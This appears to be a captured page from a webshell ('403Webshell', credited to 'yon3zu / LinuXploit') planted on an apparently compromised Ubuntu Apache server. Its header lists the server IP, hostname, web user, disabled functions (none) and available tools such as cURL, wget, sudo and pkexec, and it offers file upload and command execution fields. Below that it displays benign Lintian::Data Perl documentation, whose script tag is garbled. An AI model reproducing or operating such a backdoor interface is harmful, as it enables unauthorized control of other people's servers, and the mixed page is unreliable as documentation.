403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/lintian/api.html/Lintian/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/lintian/api.html/Lintian/Data.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Lintian::Data</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script type="text/javascript" src="<script type="text/javascript" src="../_podly.js"></script>
"></script>
</head>
<body>


<ul id="index">
  <li><a href="#NAME">NAME</a></li>
  <li><a href="#SYNOPSIS">SYNOPSIS</a></li>
  <li><a href="#DESCRIPTION">DESCRIPTION</a>
    <ul>
      <li><a href="#Interface-for-the-CODE-argument">Interface for the CODE argument</a></li>
    </ul>
  </li>
  <li><a href="#INSTANCE-METHODS">INSTANCE METHODS</a></li>
  <li><a href="#FILES">FILES</a></li>
  <li><a href="#AUTHOR">AUTHOR</a></li>
  <li><a href="#SEE-ALSO">SEE ALSO</a></li>
</ul>

<h1 id="NAME">NAME</h1>

<p>Lintian::Data - Lintian interface to query lists of keywords</p>

<h1 id="SYNOPSIS">SYNOPSIS</h1>

<pre><code>    my $keyword;
    my $list = Lintian::Data-&gt;new(&#39;type&#39;);
    if ($list-&gt;recognizes($keyword)) {
        # do something ...
    }
    my $hash = Lintian::Data-&gt;new(&#39;another-type&#39;, qr{\s++});
    if ($hash-&gt;value($keyword) &gt; 1) {
        # do something ...
    }
    if ($list-&gt;value($keyword) &gt; 1) {
        # do something ...
    }
    my @keywords = $list-&gt;all;
    if ($list-&gt;matches_any($keyword)) {
        # do something ...
    }</code></pre>

<h1 id="DESCRIPTION">DESCRIPTION</h1>

<p>Lintian::Data provides a way of loading a list of keywords or key/value pairs from a file in the Lintian root and then querying that list. The lists are stored in the <i>data</i> directory of the Lintian root and consist of one keyword or key/value pair per line. Blank lines and lines beginning with <code>#</code> are ignored. Leading and trailing whitespace is stripped.</p>

<p>If requested, the lines are split into key/value pairs with a given separator regular expression. Otherwise, keywords are taken verbatim as they are listed in the file and may include spaces.</p>

<p>This module allows lists such as menu sections, doc-base sections, obsolete packages, package fields, and so forth to be stored in simple, easily editable files.</p>

<p>NB: By default Lintian::Data is lazy and defers loading of the data file until it is actually needed.</p>

<h2 id="Interface-for-the-CODE-argument">Interface for the CODE argument</h2>

<p>This section describes the interface between for the CODE argument for the class method new.</p>

<p>The sub will be called once for each key/pair with three arguments, KEY, VALUE and CURVALUE. The first two are the key/value pair parsed from the data file and CURVALUE is current value associated with the key. CURVALUE will be <code>undef</code> the first time the sub is called with that KEY argument.</p>

<p>The sub can then modify VALUE in some way and return the new value for that KEY. If CURVALUE is not <code>undef</code>, the sub may return <code>undef</code> to indicate that the current value should still be used. It is not permissible for the sub to return <code>undef</code> if CURVALUE is <code>undef</code>.</p>

<p>Where Perl semantics allow it, the sub can modify CURVALUE and the changes will be reflected in the result. As an example, if CURVALUE is a hashref, new keys can be inserted etc.</p>

<h1 id="INSTANCE-METHODS">INSTANCE METHODS</h1>

<dl>

<dt>dataset</dt>
<dd>

</dd>
<dt><code>keyorder</code></dt>
<dd>

</dd>
<dt>all</dt>
<dd>

<p>Returns all keywords listed in the data file as a list in original order. In a scalar context, returns the number of keywords.</p>

</dd>
<dt>recognizes (KEY)</dt>
<dd>

<p>Returns true if KEY was listed in the data file represented by this Lintian::Data instance and false otherwise.</p>

</dd>
<dt>resembles (KEY)</dt>
<dd>

<p>Returns true if the data file contains a key that is a case-insensitive match to KEY, and false otherwise.</p>

</dd>
<dt>value (KEY)</dt>
<dd>

<p>Returns the value attached to KEY if it was listed in the data file represented by this Lintian::Data instance and the undefined value otherwise.</p>

</dd>
<dt>matches_any(KEYWORD[, MODIFIERS])</dt>
<dd>

<p>Returns true if KEYWORD matches any regular expression listed in the data file. The optional MODIFIERS serve as modifiers on all regexes.</p>

</dd>
<dt>load</dt>
<dd>

</dd>
</dl>

<h1 id="FILES">FILES</h1>

<dl>

<dt>LINTIAN_INCLUDE_DIR/data</dt>
<dd>

<p>The files loaded by this module must be located in this directory. Relative paths containing a <code>/</code> are permitted, so files may be organized in subdirectories in this directory.</p>

<p>Note that lintian supports multiple LINTIAN_INCLUDE_DIRs.</p>

</dd>
</dl>

<h1 id="AUTHOR">AUTHOR</h1>

<p>Originally written by Russ Allbery &lt;rra@debian.org&gt; for Lintian.</p>

<h1 id="SEE-ALSO">SEE ALSO</h1>

<p>lintian(1), <a href="https://lintian.debian.org/manual/section-2.6.html">https://lintian.debian.org/manual/section-2.6.html</a></p>

<p class="backlinkbottom"><b><a name="___bottom" href="../index.html" title="All Documents">&lt;&lt;</a></b></p>



Youez - 2016 - github.com/yon3zu
LinuXploit